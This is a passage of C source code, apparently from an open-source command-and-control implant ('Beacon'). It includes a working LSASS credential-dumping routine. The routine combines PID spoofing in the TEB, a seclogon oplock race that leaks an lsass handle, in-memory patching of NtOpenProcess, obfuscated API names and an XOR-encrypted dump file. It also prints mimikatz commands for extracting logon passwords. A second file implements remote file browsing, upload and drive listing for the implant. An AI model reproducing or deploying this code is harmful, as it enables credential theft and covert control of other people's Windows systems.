sizeof(LUID)); if (bEnablePrivilege) tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; else tp.Privileges[0].Attributes = 0; if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) { printf("AdjustTokenPrivileges() failed, error %u\n", GetLastError()); return FALSE; } privs.PrivilegeCount = 1; privs.Control = PRIVILEGE_SET_ALL_NECESSARY; //privs.Privilege[0].Luid = luid; memcpy(&privs.Privilege[0].Luid, &luid, sizeof(LUID)); privs.Privilege[0].Attributes = SE_PRIVILEGE_ENABLED; if (!PrivilegeCheck(hToken, &privs, &debugPrivEnabled)) { printf("PrivilegeCheck() failed, error %u\n", GetLastError()); return FALSE; } if (!debugPrivEnabled) return FALSE; return TRUE; } DWORD GetPidUsingFilePath(wchar_t* processBinaryPath) { DWORD retPid = 0; IO_STATUS_BLOCK iosb; HANDLE hFile; PFILE_PROCESS_IDS_USING_FILE_INFORMATION pfpiufi = NULL; int FileProcessIdsUsingFileInformation = 47; ULONG pfpiufiLen = 0; PULONG_PTR processIdListPtr = NULL; NTSTATUS status = 0; pNtQueryInformationFile NtQueryInformationFile = (pNtQueryInformationFile)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtQueryInformationFile"); hFile = CreateFile(processBinaryPath, FILE_READ_ATTRIBUTES, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL); if (hFile != INVALID_HANDLE_VALUE) { pfpiufiLen = 8192; pfpiufi = (PFILE_PROCESS_IDS_USING_FILE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pfpiufiLen); status = NtQueryInformationFile(hFile, &iosb, pfpiufi, pfpiufiLen, (FILE_INFORMATION_CLASS)FileProcessIdsUsingFileInformation); while (status == STATUS_INFO_LENGTH_MISMATCH) { pfpiufiLen = pfpiufiLen + 8192; pfpiufi = (PFILE_PROCESS_IDS_USING_FILE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pfpiufi, pfpiufiLen); status = NtQueryInformationFile(hFile, &iosb, pfpiufi, pfpiufiLen, (FILE_INFORMATION_CLASS)FileProcessIdsUsingFileInformation); } processIdListPtr = pfpiufi->ProcessIdList; // we return only the first pid, it's usually the right one if (pfpiufi->NumberOfProcessIdsInList >= 1) retPid = *processIdListPtr; HeapFree(GetProcessHeap(), 0, pfpiufi); CloseHandle(hFile); } return retPid; } void SpoofPidTeb(DWORD spoofedPid, PDWORD originalPid, PDWORD originalTid) { CLIENT_ID CSpoofedPid; DWORD oldProtection, oldProtection2; *originalPid = GetCurrentProcessId(); *originalTid = GetCurrentThreadId(); CLIENT_ID* pointerToTebPid = &(NtCurrentTeb()->ClientId); CSpoofedPid.UniqueProcess = (HANDLE)spoofedPid; CSpoofedPid.UniqueThread = (HANDLE)*originalTid; memcpy(pointerToTebPid, &CSpoofedPid, sizeof(CLIENT_ID)); } void FindTokenHandlesInProcess(DWORD targetPid, HANDLE* tokenHandles, PDWORD tokenHandlesLen) { PSYSTEM_HANDLE_INFORMATION handleInfo = NULL; DWORD handleInfoSize = 0x10000; NTSTATUS status; ULONG processTypeIndex; UNICODE_STRING processTypeName = RTL_CONSTANT_STRING(L"Token"); status = GetTypeIndexByName(&processTypeName, &processTypeIndex); if (!NT_SUCCESS(status)) { printf("GetTypeIndexByName failed 0x%08x\n", status); exit(-1); } pNtQuerySystemInformation NtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtQuerySystemInformation"); handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize); while ((status = NtQuerySystemInformation(SystemHandleInformation, handleInfo, handleInfoSize, NULL)) == STATUS_INFO_LENGTH_MISMATCH) handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2); for (DWORD i = 0; i < handleInfo->HandleCount; i++) { if (handleInfo->Handles[i].ObjectTypeIndex == processTypeIndex && handleInfo->Handles[i].UniqueProcessId == targetPid) { tokenHandles[*tokenHandlesLen] = (HANDLE)handleInfo->Handles[i].HandleValue; *tokenHandlesLen = *tokenHandlesLen + 1; } } free(handleInfo); } BOOL EnableImpersonatePrivilege() { HANDLE currentProcessToken = NULL; OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, ¤tProcessToken); BOOL setPrivilegeSuccess = SetPrivilege(currentProcessToken, L"SeImpersonatePrivilege", TRUE); CloseHandle(currentProcessToken); return setPrivilegeSuccess; } void MalSeclogonPPIDSpoofing(int pid, wchar_t* cmdline) { PROCESS_INFORMATION procInfo; STARTUPINFO startInfo; DWORD originalPid, originalTid; HANDLE tokenHandles[8192]; DWORD tokenHandlesCount = 0; BOOL useCreateProcessWithToken = FALSE; BOOL processCreatedWithToken = FALSE; EnableDebugPrivilege(FALSE); SpoofPidTeb((DWORD)pid, &originalPid, &originalTid); RtlZeroMemory(&procInfo, sizeof(PROCESS_INFORMATION)); RtlZeroMemory(&startInfo, sizeof(STARTUPINFO)); if (EnableImpersonatePrivilege()) { FindTokenHandlesInProcess(pid, tokenHandles, &tokenHandlesCount); if (tokenHandlesCount < 1) { printf("No token handles found in process %d, can't use CreateProcessWithToken(). Reverting to CreateProcessWithLogon()...\n", pid); useCreateProcessWithToken = FALSE; } else useCreateProcessWithToken = TRUE; } else { printf("Impersonation privileges not available, can't use CreateProcessWithToken(). Reverting to CreateProcessWithLogon()...\n"); useCreateProcessWithToken = FALSE; } if (useCreateProcessWithToken) { for (DWORD i = 0; i < tokenHandlesCount; i++) { if (CreateProcessWithTokenW(tokenHandles[i], 0, NULL, cmdline, 0, NULL, NULL, &startInfo, &procInfo)) { processCreatedWithToken = TRUE; break; } } if (processCreatedWithToken) { // the returned handles in procInfo are wrong and duped into the spoofed parent process, so we can't close handles or wait for process end. printf("Spoofed process %S created correctly as child of PID %d using CreateProcessWithTokenW()!", cmdline, pid); } else { printf("CreateProcessWithTokenW() failed with error code %d \n", GetLastError()); } } else { if (!CreateProcessWithLogonW(L"MalseclogonUser", L"MalseclogonDomain", L"MalseclogonPwd", LOGON_NETCREDENTIALS_ONLY, NULL, cmdline, 0, NULL, NULL, &startInfo, &procInfo)) { printf("CreateProcessWithLogonW() failed with error code %d \n", GetLastError()); } else { // the returned handles in procInfo are wrong and duped into the spoofed parent process, so we can't close handles or wait for process end. printf("Spoofed process %S created correctly as child of PID %d using CreateProcessWithLogonW()!", cmdline, pid); } } RestoreOriginalPidTeb(originalPid, originalTid); } DWORD WINAPI ThreadSeclogonLock(LPVOID lpParam) { THREAD_PARAMETERS* thread_params = (THREAD_PARAMETERS*)lpParam; MalSeclogonPPIDSpoofing(thread_params->pid, thread_params->cmdline); return 0; } // credits to @tirannido // took from --> https://github.com/googleprojectzero/symboliclink-testing-tools/blob/main/CommonUtils/FileOpLock.cpp void CreateFileLock(HANDLE hFile, LPOVERLAPPED overlapped) { REQUEST_OPLOCK_INPUT_BUFFER inputBuffer; REQUEST_OPLOCK_OUTPUT_BUFFER outputBuffer; inputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION; inputBuffer.StructureLength = sizeof(inputBuffer); inputBuffer.RequestedOplockLevel = OPLOCK_LEVEL_CACHE_READ | OPLOCK_LEVEL_CACHE_HANDLE; inputBuffer.Flags = REQUEST_OPLOCK_INPUT_FLAG_REQUEST; outputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION; outputBuffer.StructureLength = sizeof(outputBuffer); DeviceIoControl(hFile, FSCTL_REQUEST_OPLOCK, &inputBuffer, sizeof(inputBuffer), &outputBuffer, sizeof(outputBuffer), NULL, overlapped); DWORD err = GetLastError(); if (err != ERROR_IO_PENDING) { printf("Oplock Failed %d\n", err); exit(-1); } } void LeakLsassHandleInSeclogonWithRaceCondition(DWORD lsassPid) { wchar_t fileToLock[] = L"C:\\Windows\\System32\\license.rtf"; OVERLAPPED overlapped; DWORD dwBytes; THREAD_PARAMETERS thread_params; HANDLE hFile = CreateFile(fileToLock, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL); overlapped.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); CreateFileLock(hFile, &overlapped); thread_params.pid = lsassPid; thread_params.cmdline = fileToLock; // we need to run CreateProcessWithToken() in a separate thread because the file lock would also lock our thread CreateThread(NULL, 0, ThreadSeclogonLock, (LPVOID)&thread_params, 0, NULL); // this call will halt the current thread until someone will access the locked file. We expect seclogon trying to access license.rtf when calling CreateProcessAsUser() if (!GetOverlappedResult(hFile, &overlapped, &dwBytes, TRUE)) { printf("Oplock Failed. Exiting...\n"); exit(-1); } printf("Seclogon thread locked. A lsass handle will be available inside the seclogon process!\n"); } void RestoreOriginalPidTeb(DWORD originalPid, DWORD originalTid) { CLIENT_ID CRealPid; DWORD oldProtection, oldProtection2; CLIENT_ID* pointerToTebPid = &(NtCurrentTeb()->ClientId); CRealPid.UniqueProcess = (HANDLE)originalPid; CRealPid.UniqueThread = (HANDLE)originalTid; memcpy(pointerToTebPid, &CRealPid, sizeof(CLIENT_ID)); } BOOL FileExists(LPCTSTR szPath) { DWORD dwAttrib = GetFileAttributes(szPath); return (dwAttrib != INVALID_FILE_ATTRIBUTES && !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY)); } NTSTATUS QueryObjectTypesInfo(__out POBJECT_TYPES_INFORMATION* TypesInfo) { NTSTATUS Status; ULONG BufferLength = 0x1000; PVOID Buffer; pNtQueryObject NtQueryObject = (pNtQueryObject)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtQueryObject"); *TypesInfo = NULL; do { Buffer = malloc(BufferLength); if (Buffer == NULL) return (NTSTATUS)STATUS_INSUFFICIENT_RESOURCES; Status = NtQueryObject(NULL, ObjectTypesInformation, Buffer, BufferLength, &BufferLength); if (NT_SUCCESS(Status)) { *TypesInfo = Buffer; return Status; } free(Buffer); } while (Status == STATUS_INFO_LENGTH_MISMATCH); return Status; } NTSTATUS GetTypeIndexByName(__in PCUNICODE_STRING TypeName, __out PULONG TypeIndex) { NTSTATUS Status; POBJECT_TYPES_INFORMATION ObjectTypes; POBJECT_TYPE_INFORMATION_V2 CurrentType; *TypeIndex = 0; pRtlCompareUnicodeString RtlCompareUnicodeString = (pRtlCompareUnicodeString)GetProcAddress(LoadLibrary(L"ntdll.dll"), "RtlCompareUnicodeString"); Status = QueryObjectTypesInfo(&ObjectTypes); if (!NT_SUCCESS(Status)) { printf("QueryObjectTypesInfo failed: 0x%08x\n", Status); return Status; } CurrentType = (POBJECT_TYPE_INFORMATION_V2)OBJECT_TYPES_FIRST_ENTRY(ObjectTypes); for (ULONG i = 0; i < ObjectTypes->NumberOfTypes; i++) { if (RtlCompareUnicodeString(TypeName, &CurrentType->TypeName, TRUE) == 0) { *TypeIndex = i + 2; break; } CurrentType = (POBJECT_TYPE_INFORMATION_V2)OBJECT_TYPES_NEXT_ENTRY(CurrentType); } if (!*TypeIndex) Status = STATUS_NOT_FOUND; free(ObjectTypes); return Status; } void FindProcessHandlesInTargetProcess(DWORD targetPid, HANDLE* handlesToLeak, PDWORD handlesToLeakCount) { PSYSTEM_HANDLE_INFORMATION handleInfo = NULL; DWORD handleInfoSize = 0x10000; NTSTATUS status; ULONG processTypeIndex; UNICODE_STRING processTypeName = RTL_CONSTANT_STRING(L"Process"); status = GetTypeIndexByName(&processTypeName, &processTypeIndex); if (!NT_SUCCESS(status)) { printf("GetTypeIndexByName failed 0x%08x\n", status); exit(-1); } pNtQuerySystemInformation NtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtQuerySystemInformation"); handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize); while ((status = NtQuerySystemInformation(SystemHandleInformation, handleInfo, handleInfoSize, NULL)) == STATUS_INFO_LENGTH_MISMATCH) handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2); for (DWORD i = 0; i < handleInfo->HandleCount; i++) { if (handleInfo->Handles[i].ObjectTypeIndex == processTypeIndex && handleInfo->Handles[i].UniqueProcessId == targetPid) { handlesToLeak[*handlesToLeakCount] = (HANDLE)handleInfo->Handles[i].HandleValue; *handlesToLeakCount = *handlesToLeakCount + 1; } } free(handleInfo); } void ReplaceNtOpenProcess(HANDLE leakedHandle, char* oldCode, int* oldCodeSize) { /* mov QWORD [rcx], 0xffff xor rax, rax ret */ char replacedFunc[] = { 0x48, 0xC7, 0x01, 0xFF, 0xFF, 0x00, 0x00, 0x48, 0x31, 0xC0, 0xC3 }; DWORD oldProtection, oldProtection2; char* addrNtOpenProcess = (char*)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtOpenProcess"); // we save old code to restore the original function *oldCodeSize = sizeof(replacedFunc); memcpy(oldCode, addrNtOpenProcess, *oldCodeSize); memcpy((replacedFunc + 3), (WORD*)&leakedHandle, sizeof(WORD)); VirtualProtect(addrNtOpenProcess, sizeof(replacedFunc), PAGE_EXECUTE_READWRITE, &oldProtection); memcpy(addrNtOpenProcess, replacedFunc, sizeof(replacedFunc)); VirtualProtect(addrNtOpenProcess, sizeof(replacedFunc), oldProtection, &oldProtection2); } void RestoreNtOpenProcess(char* oldCode, int oldCodeSize) { DWORD oldProtection, oldProtection2; char* addrNtOpenProcess = (char*)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtOpenProcess"); VirtualProtect(addrNtOpenProcess, oldCodeSize, PAGE_EXECUTE_READWRITE, &oldProtection); memcpy(addrNtOpenProcess, oldCode, oldCodeSize); VirtualProtect(addrNtOpenProcess, oldCodeSize, oldProtection, &oldProtection2); } void EncryptAndWriteDumpToDisk(wchar_t* dumpPath, int xorKey) { HANDLE hDumpFileEncrypted; DWORD bytesRead, bytesWritten; char* readBuffer = gDumpBuffer; bytesRead = gBytesRead; for (DWORD i = 0; i < bytesRead; i++) readBuffer[i] = readBuffer[i] ^ (char)xorKey; hDumpFileEncrypted = CreateFile(dumpPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hDumpFileEncrypted == INVALID_HANDLE_VALUE) { printf("Cannot create file %S. Exiting...\n", dumpPath); exit(1); } WriteFile(hDumpFileEncrypted, readBuffer, bytesRead, &bytesWritten, NULL); CloseHandle(hDumpFileEncrypted); if (FileExists(dumpPath)) { unsigned char* add = (unsigned char*)malloc(163); unsigned char Success[95] = "EncodeData Check the path C:\\lsass.dmp.xor \nDecodeData DumpLsass.exe -t 2 -f lsass.dmp.xor -k "; memcpy(add, Success, sizeof(Success)); unsigned char key[4]; // 数字转字符串缓冲区 sprintf(key, "%d", xorKey); // 将整数转换为字符串 memcpy(add + sizeof(Success), key, 4); unsigned char mikz[64] = "\nsekurlsa::minidump lsass.dmp.xor \nsekurlsa::logonpasswords full"; memcpy(add + sizeof(Success) + 4, mikz, 64); DataProcess(add, sizeof(Success) + sizeof(mikz) + 4, 0); printf("EncodeData Check the path %S\n", dumpPath); printf("DecodeData DumpLsass.exe -t 2 -f tron.xor -k %d\n", xorKey, xorKey); } else printf("Something went wrong :(\n"); } void MalSeclogonDumpLsassWithSeclogonRaceCondition(int lsassPid, wchar_t* dumpPath, int xorKey) { PROCESS_INFORMATION procInfo; STARTUPINFO startInfo; DWORD originalPid, originalTid; char oldCode[15]; int oldCodeSize; HANDLE handles[8192]; DWORD handlesCount = 0; DWORD seclogonPid = 0; HANDLE hSeclogon, hDupedHandle, hLsassClone; NTSTATUS status; MINIDUMP_CALLBACK_INFORMATION callbackInfo; wchar_t dbgcoreStr[] = { L'd', L'b', L'g', L'c', L'o', L'r', L'e', L'.', L'd', L'l', L'l', 0x00, 0x00 }; wchar_t ntdllStr[] = { L'n', L't', L'd', L'l', L'l', L'.', L'd', L'l', L'l', 0x00, 0x00 }; char MiniDumpWriteDumpStr[] = { 'M', 'i', 'n', 'i', 'D', 'u', 'm', 'p', 'W', 'r', 'i', 't', 'e', 'D', 'u', 'm', 'p', 0x00 }; char NtCreateProcessExStr[] = { 'N', 't', 'C', 'r', 'e', 'a', 't', 'e', 'P', 'r', 'o', 'c', 'e', 's', 's', 'E', 'x', 0x00 }; pMiniDumpWriteDump MiniDumpWriteDumpDyn = (pMiniDumpWriteDump)GetProcAddress(LoadLibrary(dbgcoreStr), MiniDumpWriteDumpStr); pNtCreateProcessEx NtCreateProcessEx = (pNtCreateProcessEx)GetProcAddress(LoadLibrary(ntdllStr), NtCreateProcessExStr); EnableDebugPrivilege(TRUE); seclogonPid = GetPidUsingFilePath(L"C:\\WINDOWS\\system32\\seclogon.dll"); if (seclogonPid == 0) { printf("Seclogon service not running, trying to wake-up...\n"); RtlZeroMemory(&procInfo, sizeof(PROCESS_INFORMATION)); RtlZeroMemory(&startInfo, sizeof(STARTUPINFO)); CreateProcessWithTokenW(-1, 0, NULL, L"cmd", 0, NULL, NULL, &startInfo, &procInfo); // trying again to get the seclogon pid seclogonPid = GetPidUsingFilePath(L"C:\\WINDOWS\\system32\\seclogon.dll"); } SpoofPidTeb((DWORD)lsassPid, &originalPid, &originalTid); LeakLsassHandleInSeclogonWithRaceCondition((DWORD)lsassPid); RestoreOriginalPidTeb(originalPid, originalTid); FindProcessHandlesInTargetProcess(seclogonPid, handles, &handlesCount); if (handlesCount < 1) { printf("No process handles found in seclogon. The race condition didn't work.\n"); exit(-1); } if (FileExists(dumpPath)) DeleteFile(dumpPath); hSeclogon = OpenProcess(PROCESS_DUP_HANDLE, FALSE, seclogonPid); for (DWORD i = 0; i < handlesCount; i++) { DuplicateHandle(hSeclogon, handles[i], GetCurrentProcess(), &hDupedHandle, 0, FALSE, DUPLICATE_SAME_ACCESS); if (GetProcessId(hDupedHandle) == lsassPid) { status = NtCreateProcessEx(&hLsassClone, MAXIMUM_ALLOWED, NULL, hDupedHandle, 0x1001, NULL, NULL, NULL, FALSE); if (status != 0) { printf("NtCreateProcessEx failed with ntstatus 0x%08x", status); exit(-1); } // Set up minidump callback RtlZeroMemory(&callbackInfo, sizeof(MINIDUMP_CALLBACK_INFORMATION)); callbackInfo.CallbackRoutine = &MinidumpCallbackRoutine; callbackInfo.CallbackParam = NULL; // init global vars for storing dump in memory gDumpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, MAX_LSASS_DMP_SIZE); gBytesRead = 0; // we ensure no one will close the handle, it seems RtlQueryProcessDebugInformation() called from MiniDumpWriteDump() try to close it SetHandleInformation(hLsassClone, HANDLE_FLAG_PROTECT_FROM_CLOSE, HANDLE_FLAG_PROTECT_FROM_CLOSE); // we need to patch NtOpenProcess because MiniDumpWriteDump() would open a new handle to lsass and we want to avoid that ReplaceNtOpenProcess((HANDLE)hLsassClone, oldCode, &oldCodeSize); BOOL result = MiniDumpWriteDumpDyn((HANDLE)hLsassClone, GetProcessId(hLsassClone), NULL, MiniDumpWithFullMemory, NULL, NULL, &callbackInfo); if (!result) { printf("MiniDumpWriteDump failed with error code %d\n", GetLastError()); exit(-1); } RestoreNtOpenProcess(oldCode, oldCodeSize); // unprotect the handle for close SetHandleInformation(hLsassClone, HANDLE_FLAG_PROTECT_FROM_CLOSE, 0); EncryptAndWriteDumpToDisk(dumpPath, xorKey); HeapFree(GetProcessHeap(), 0, gDumpBuffer); gDumpBuffer = NULL; CloseHandle(hLsassClone); break; } CloseHandle(hDupedHandle); } CloseHandle(hSeclogon); } DWORD WINAPI DumphashThread(LPVOID lpParam) { int xorKey = GenerateEvenRandomInt(20, 100); DWORD targetPid = GetPidUsingFilePath(L"C:\\Windows\\system32\\lsass.exe");; MalSeclogonDumpLsassWithSeclogonRaceCondition(targetPid, L"C:\\lsass.dmp.xor", xorKey); return 0; } int DumpHASH() { //MalSeclogonDumpLsassWithSeclogonRaceCondition(targetPid, encryptedDumpPath, xorKey); HANDLE myThread = CreateThread( NULL, // 默认线程安全性 0, // 默认堆栈大小 DumphashThread, // 线程函数 0, // 传递给线程函数的参数 0, // 默认创建标志 NULL); // 不存储线程ID if (myThread == NULL) { fprintf(stderr, "Failed to create thread. Error code: %lu\n", GetLastError()); return 1; } //WaitForSingleObject(myThread, INFINITE); // 关闭线程和事件句柄 CloseHandle(myThread); } ================================================ FILE: Beacon/File.c ================================================ #include #include #include #include #include "Command.h" #pragma warning(disable:4996) #define PATH_MAX 4096 #define MAX_PATH_LENGTH 1048 #define MAX_TIME_STRING_LENGTH 50 extern unsigned char AESRandaeskey[16]; extern int Counter; unsigned char* getFormattedTime(time_t modTime) { unsigned char* timeStr = (unsigned char*)malloc(20 * sizeof(unsigned char)); // Allocate memory for time string struct tm* tm_info; tm_info = localtime(&modTime); strftime((char*)timeStr, 20, "%d/%m/%Y %H:%M:%S", tm_info); return timeStr; } wchar_t* convertToWideChar(const unsigned char* input) { int len = MultiByteToWideChar(CP_ACP, 0, (LPCCH)input, -1, NULL, 0); if (len == 0) { perror("MultiByteToWideChar failed"); return NULL; } wchar_t* wideStr = (wchar_t*)malloc(len * sizeof(wchar_t)); if (wideStr == NULL) { perror("Memory allocation failed"); return NULL; } if (MultiByteToWideChar(CP_ACP, 0, (LPCCH)input, -1, wideStr, len) == 0) { perror("MultiByteToWideChar failed"); free(wideStr); return NULL; } return wideStr; } unsigned char* convertWideCharToUTF8(const wchar_t* wideStr) { if (!wideStr) return NULL; int utf8Len = wcstombs(NULL, wideStr, 0); if (utf8Len <= 0) return NULL; unsigned char* utf8Str = (unsigned char*)malloc(utf8Len + 1); if (!utf8Str) return NULL; wcstombs((char*)utf8Str, wideStr, utf8Len); utf8Str[utf8Len] = '\0'; return utf8Str; } unsigned char* listDirectory(unsigned char* dirPathy , size_t* dirPathStrlen) { setlocale(LC_ALL, ""); wchar_t* path = convertToWideChar(dirPathy); struct _wfinddata_t file_info; intptr_t handle; wchar_t search_path[MAX_PATH_LENGTH]; size_t len = wcslen(path); if (len > 0 && path[len - 1] == L'/') { path[len - 1] = L'\0'; } swprintf(search_path, MAX_PATH_LENGTH, L"%s\\*", path); if ((handle = _wfindfirst(search_path, &file_info)) == -1L) { wprintf(L"޷Ŀ¼: %s\n", path); wcscpy(search_path, L"C:\\*"); handle = _wfindfirst(search_path, &file_info); } wchar_t resultStr[PATH_MAX]; resultStr[0] = L'\0'; // Ensure the string is initially empty swprintf(resultStr + wcslen(resultStr), PATH_MAX - wcslen(resultStr), L"%s", search_path); swprintf(resultStr + wcslen(resultStr), PATH_MAX - wcslen(resultStr), L"\nD\t0\t%s\t%s", L"20/12/2023 12:10:12", L"."); swprintf(resultStr + wcslen(resultStr), PATH_MAX - wcslen(resultStr), L"\nD\t0\t%s\t%s", L"20/12/2023 12:10:12", L".."); wchar_t timeString[MAX_TIME_STRING_LENGTH]; do { if (wcscmp(file_info.name, L".") != 0 && wcscmp(file_info.name, L"..") != 0) { if (file_info.attrib & _A_SUBDIR) { // Directory time_t modified_time = (time_t)file_info.time_write; struct tm* timeinfo = localtime(&modified_time); // Format time as a string and store it in timeString wcsftime(timeString, MAX_TIME_STRING_LENGTH, L"%Y/%m/%d %H:%M:%S", timeinfo); swprintf(resultStr + wcslen(resultStr), PATH_MAX - wcslen(resultStr), L"\nD\t0\t%s\t%s", timeString,file_info.name); } else { // File time_t modified_time = (time_t)file_info.time_write; struct tm* timeinfo = localtime(&modified_time); // Format time as a string and store it in timeString wcsftime(timeString, MAX_TIME_STRING_LENGTH, L"%Y/%m/%d %H:%M:%S", timeinfo); swprintf(resultStr + wcslen(resultStr), PATH_MAX - wcslen(resultStr), L"\nF\t%lld\t%s\t%s",file_info.size , timeString ,file_info.name); } } } while (_wfindnext(handle, &file_info) == 0); _findclose(handle); wprintf(L"ļĿ¼Ϣ:\n%s\n", resultStr); unsigned char* resultStrchar = convertWideCharToUTF8(resultStr); *dirPathStrlen = strlen(resultStrchar); return resultStrchar; } unsigned char* CmdFileBrowse(unsigned char* commandBuf,size_t* lenn) { uint8_t pendingRequest[4]; uint8_t dirPathLenBytes[4]; unsigned char* pendingRequeststart = commandBuf; unsigned char* dirPathLenBytesstart = commandBuf + 4; memcpy(pendingRequest, pendingRequeststart, 4); memcpy(dirPathLenBytes, dirPathLenBytesstart, 4); uint32_t dirPathLen = bigEndianUint32(dirPathLenBytes); unsigned char* dirPathBytes = (unsigned char*)malloc(dirPathLen); unsigned char* dirPathBytesstart = commandBuf + 8; memcpy(dirPathBytes, dirPathBytesstart, dirPathLen); dirPathBytes[dirPathLen] = '\0'; unsigned char* dirPathStr = str_replace_all(dirPathBytes, "*", ""); unsigned char* dirPathStr11[] = {0x2e,0x2f}; if (*dirPathStr == *dirPathStr11) { char cwd[PATH_MAX]; if (getcwd(cwd, sizeof(cwd)) == NULL) { perror("getcwd"); return EXIT_FAILURE; } unsigned char* relativePath = ""; // · char absolutePath[PATH_MAX]; snprintf(absolutePath, sizeof(absolutePath), "%s/%s", cwd, relativePath); dirPathStr = absolutePath; printf("·: %s\n", absolutePath); } else { dirPathStr = str_replace_all(dirPathStr, "/", "\\"); } printf("dirPathStr %s\n", dirPathStr); size_t dirPathStrlen; unsigned char* result = listDirectory(dirPathStr,&dirPathStrlen); if (result != NULL) { printf("%s\n", result); // Free memory allocated for result string } uint8_t* result8 = (uint8_t*)result; uint8_t* metaInfoBytes[] = { pendingRequest, result8 }; size_t metaInfosizes[] = { 4,dirPathStrlen }; size_t metaInfoBytesArrays = sizeof(metaInfoBytes) / sizeof(metaInfoBytes[0]); uint8_t* metaInfoconcatenated = ConByte(metaInfoBytes, metaInfosizes, metaInfoBytesArrays); size_t metaInfoSize = 0; // sizeof ֵܺ for (size_t i = 0; i < sizeof(metaInfosizes) / sizeof(metaInfosizes[0]); ++i) { metaInfoSize += metaInfosizes[i]; } if (metaInfoconcatenated != NULL) { printf("metaInfoconcatenated Byte Stream: "); } printf("%s\n", metaInfoconcatenated); int callbackType = 0; *lenn = metaInfoSize; return metaInfoconcatenated; } unsigned char* parseUpload(unsigned char* commandBuf,size_t* commandBuflen, size_t* lenn,int chunkNumber) { //printf("commandBuf %d \n", commandBuflen); uint8_t filePathLenBytes[4]; unsigned char* filePathLenstart = commandBuf; memcpy(filePathLenBytes, filePathLenstart, 4); /*printf("filePathLenBytes \n"); for (size_t i = 0; i < 4; ++i) { printf("0x%0x,, ", filePathLenBytes[i]); } printf("\n");*/ uint32_t filePathLen = bigEndianUint32(filePathLenBytes); unsigned char* filePath = (unsigned char*)malloc(filePathLen); filePath[filePathLen] = '\0'; unsigned char* filePathstart = commandBuf+4; memcpy(filePath, filePathstart, filePathLen); printf("filePath %d\n",filePathLen); for (size_t i = 0; i < filePathLen; ++i) { printf("0x%0x,, ", filePath[i]); } printf("%s ", filePath); printf("\n"); size_t fileContenthlen = (size_t)commandBuflen - 4 - (size_t)filePathLen; unsigned char* fileContenth = (unsigned char*)malloc(fileContenthlen); fileContenth[fileContenthlen] = '\0'; unsigned char* fileContenthstart = commandBuf + filePathLen +4; unsigned char* chunk = (unsigned char*)malloc(1024); if (!chunk) { perror("Error allocating memory"); return; } size_t bytesRead; size_t offset = 0; while (offset < (size_t)fileContenthlen) { size_t remaining = (size_t)fileContenthlen - offset; size_t chunkSize = remaining > 1024 ? 1024 : remaining; // fileContenthstart жȡ chunkSize С memcpy(chunk, fileContenthstart + offset, chunkSize); Upload(filePath, chunk, chunkSize, chunkNumber); offset += chunkSize; chunkNumber++; } unsigned char* Uploadstr = "success, the offset is: "; unsigned char offsetchar[20]; // תַ sprintf(offsetchar, "%d", offset); // תΪַ unsigned char* result = (unsigned char*)malloc(strlen(offsetchar)+strlen(Uploadstr)); result[strlen(offsetchar) + strlen(Uploadstr)]='\0'; memcpy(result, Uploadstr,strlen(Uploadstr)); memcpy(result + strlen(Uploadstr), offsetchar, strlen(offsetchar)); *lenn = strlen(offsetchar) + strlen(Uploadstr); return result; } int Upload(const unsigned char* filePath, const unsigned char* fileContent, size_t contentSize, int isStart) { FILE* fp; const char* mode; if (isStart == 1) { // ļڣҪûϴǰֶɾ mode = "wb"; // Զдģʽļļض } else { mode = "ab"; // ׷Ӷдģʽļ } fp = fopen(filePath, mode); if (fp == NULL) { perror("File open error"); return -1; } int bytesWritten = fwrite(fileContent, sizeof(unsigned char), contentSize, fp); if (bytesWritten != contentSize) { perror("File write error"); fclose(fp); return -1; } fclose(fp); return (int)bytesWritten; } unsigned char* CmdDrives(unsigned char* commandBuf, size_t* Bufflen) { DWORD drives = GetLogicalDrives(); unsigned char drives2[20]; sprintf(drives2, "%d", drives); unsigned char* result = (unsigned char*)malloc(strlen(drives2)); result[strlen(drives2)]='\0'; memcpy(result, drives2, strlen(drives2)); uint8_t command[4]; memcpy(command, commandBuf,4); uint8_t* metaInfoBytes[] = { command, result }; size_t metaInfosizes[] = { 4,strlen(result) }; size_t metaInfoBytesArrays = sizeof(metaInfoBytes) / sizeof(metaInfoBytes[0]); uint8_t* metaInfoconcatenated = ConByte(metaInfoBytes, metaInfosizes, metaInfoBytesArrays); size_t metaInfoSize = 0; // sizeof ֵܺ for (size_t i = 0; i < sizeof(metaInfosizes) / sizeof(metaInfosizes[0]); ++i) { metaInfoSize += metaInfosizes[i]; } *Bufflen = metaInfoSize; return metaInfoconcatenated; } unsigned char* cmdMkdir(unsigned char* cmdBuf,size_t* commandBuflen, size_t* Bufflen) { // Create directory with read, write, and execute permissions for user, // read, write, and execute permissions for group, and read and execute // permissions for others. cmdBuf[(size_t)commandBuflen] = '\0'; if (mkdir(cmdBuf, 0777) != 0) { perror("Error creating directory"); } unsigned char* Mkdirstr 